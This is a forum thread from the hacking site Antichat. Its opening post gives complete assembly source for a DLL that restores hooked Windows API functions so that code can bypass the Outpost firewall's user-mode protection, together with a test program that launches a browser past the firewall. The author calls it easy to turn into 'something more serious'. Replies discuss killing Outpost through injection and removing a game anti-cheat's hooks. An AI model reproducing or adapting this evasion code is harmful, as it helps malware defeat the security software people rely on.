Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Dll для снятия хуков третьего кольца (https://forum.antichat.xyz/showthread.php?t=38003)

hidden 15.04.2007 11:06

Dll для снятия хуков третьего кольца
 
Очень простой пример снятия хуков третьего кольца, с использованием DLL

Язык: Ассемблере(fasm).
Пояснение: Этот пример работает потому, что установщики хуков, обычно устанавливают их непосредственно перед точкой входа в программу, но загрузка и инициализация библиотек DLL, происходить ещё до запуска основной нити(ака Thread) процесса, так что мы разрешаем запись в эти функции, копируем их содержимое и разрешаем каму-попало устанавливать различные хуки, а когда они закончат, просто возьмём и восстановим всё как было.
Код DLL:
Код:

format PE GUI 4.0 DLL
entry DllEntryPoint

include 'win32a.inc'

section '.code' code readable executable

proc DllEntryPoint uses edi, hinstDLL,fdwReason,lpvReserved
        mov    edi, buffer

        stdcall BackUpProc, WinExec
        stdcall BackUpProc, ZwProtectVirtualMemory
        stdcall BackUpProc, ZwWriteVirtualMemory

        mov    eax, TRUE
        ret
endp

proc BackUpProc uses esi ecx ebx, Original
        mov    ebx, [Original]
        push    edi
        mov    edi, [ebx]

        mov    al, 0x90                ; Getting proc size by first nop
        xor    ecx, ecx
        mov    cl, -1
        repne  scasb
        jne    .Error
        not    cl

        add    ecx, 3
        shr    ecx, 2

        pop    edi

        mov    esi, [ebx]
        mov    [ebx], edi

        mov    eax, ecx
        stosd
        mov    eax, esi
        stosd

        lea    ebx, [ecx*4]
        rep    movsd

        invoke  VirtualProtect, eax, ebx, PAGE_EXECUTE_READWRITE, tmp
  .Error:
        ret
endp

proc RestoreAll
        stdcall RestoreProc, ZwProtectVirtualMemory
        stdcall RestoreProc, ZwWriteVirtualMemory
        stdcall RestoreProc, WinExec
        ret
endp

proc RestoreProc uses esi, Backup
        mov    esi, [Backup]
        mov    esi, [esi]
        mov    ecx, [esi]
        mov    edi, [esi+4]
        add    esi, 8
        rep    movsd
        ret
endp

section '.idata' import data readable writeable

  library ntdll,'NTDLL.DLL',\
          kernel,'KERNEL32.DLL',\
          user,'USER32.DLL'

  import ntdll,\
        ZwProtectVirtualMemory,'ZwProtectVirtualMemory',\
        ZwWriteVirtualMemory,'ZwWriteVirtualMemory'

  import kernel,\
        WinExec,'WinExec',\
        VirtualProtect,'VirtualProtect'

section '.edata' export data readable

  export 'UNHOOK.DLL',\
        RestoreAll,'RestoreAll'

section '.resto' data readable writable

  buffer        rd 1024 ; 1 page
  tmp          dd ?

section '.reloc' fixups data discardable

Код примера вызова:
Код:

format PE GUI 4.0
entry start

include 'win32a.inc'

section '.code' code readable executable

  start:
        invoke  MessageBoxA, 0, msg, tit, MB_YESNO

        cmp    eax, IDYES
        jne    .dont_restore
        call    [RestoreAll]
  .dont_restore:

        invoke  WinExec, cmd, SW_SHOW
        invoke  ExitProcess, 0

  cmd          db 'C:\Program Files\Internet Explorer\IEXPLORE.EXE http://antichat.ru', 0
  msg          db 'Do you realy wonna take all the hooks off?', 0
  tit          db 'Do take it off?', 0

section '.idata' import data readable writeable

  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL',\
          unhook,'UNHOOK.DLL'

  import kernel,\
        ExitProcess,'ExitProcess',\
        WinExec,'WinExec'

  import user,\
        MessageBoxA,'MessageBoxA'

  import unhook,\
        RestoreAll,'RestoreAll'

  xxx  dd ?
  yyy  dd ?

Данный пример снимает достаточно хуков для вызова эксплорера с адресом к командной строке, проверено на OutPost, его легко модифицировать и во что-нибудь более серьёзное, удачи...

_Great_ 15.04.2007 13:06

Молодец, конечно.
ЗЫ. Смотреть лень, оно снимает какие хуки-то? SetWindowsHookEx или перехват сплайсингом или чем еще.

taha 15.04.2007 17:46

Great, он спасается от сплайса. Dll инициализируется раньше запуска основного треда. Соответственно DllEntryPoint будет выполняться раньше точки входа и установщика хуков. Он бэкапит нужные функции. А когда начинает выполняться трэд он восстанавливает всё на место.
ЗЫ: С таким же успехом можно было запихнуть бэкапщик в TLS

gevara 15.04.2007 19:28

хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory ZwCreateThread CreateRemoteThread и прочее, что препятствует инжекту в доверенный процесс.

лично я обходил это след. образом: подгружал копию либы ntdll.dll , kernel32.dll и восстанавливал затёртые байты функций (там вначале функции идёт jmp на аутпостовскую либу). В итоге - полное молчание аутпоста даже на инжект в сервисхост.

KEZ 15.04.2007 23:06

все верно и красиво расписано. но истину мне это не открыло.
стандартная ситуация когда человек в чем-то разобрался и решил сам за себя порадоваться. я так всегда делаю(((

>>
хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory

аутпост ставит хук на звВрайтвиртуалмемори через SDT в нулевом колцье

hidden 15.04.2007 23:34

Цитата:

Сообщение от kez
аутпост ставит хук на звВрайтвиртуалмемори через Sdt в нулевом колцье

Это тоже не помешает, если перехватить её и записать что надо, куда надо во время создания процесса, т.к. она вызывается при это несколько раз и отутпост не имеет право ей мешать, пока процесс окончательно не закончит формирование параллельного.

1ten0.0net1 16.04.2007 01:53

Ужос, млин! Либо мне надо срочно начинать учить хуки всякие либо ппц - совесть моя меня съест (

gevara 16.04.2007 12:33

Цитата:

Сообщение от KEZ
все верно и красиво расписано. но истину мне это не открыло.
стандартная ситуация когда человек в чем-то разобрался и решил сам за себя порадоваться. я так всегда делаю(((

>>
хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory

аутпост ставит хук на звВрайтвиртуалмемори через SDT в нулевом колцье

Полный бред. аутпост СДТ не перехватывает. это может быть либо КАВ либо ещё что-то... Я даже прогу писал - убивает аутпост через инжект в него, затем ZwTerminateProcess(-1,0); Драйвер аутпосту нужен лишь для перехвата устройств \Tcp \Ip \Udp \RawIp. Хук на инжект ставится в третьем кольце. По крайней мерии, я тестировал на версии третьей и четвёртой версиях.

roleg 09.03.2009 13:18

Вернемся к теме :) вот античит для линейки который ставит хуки на CreateThead.
shieldConsole
Как их снять воспользовавшись данным методом?

За помощь +++++ )

ProTeuS 09.03.2009 16:53

для на4ала снять WinLicense на бинаре, декомпильнуть код из ВМ и изу4ать принцип работы, ибо единоразовым снятие хуков врядли думаю решится проблема
а, вообще, тебе в раздел реверсинга...


Время: 12:52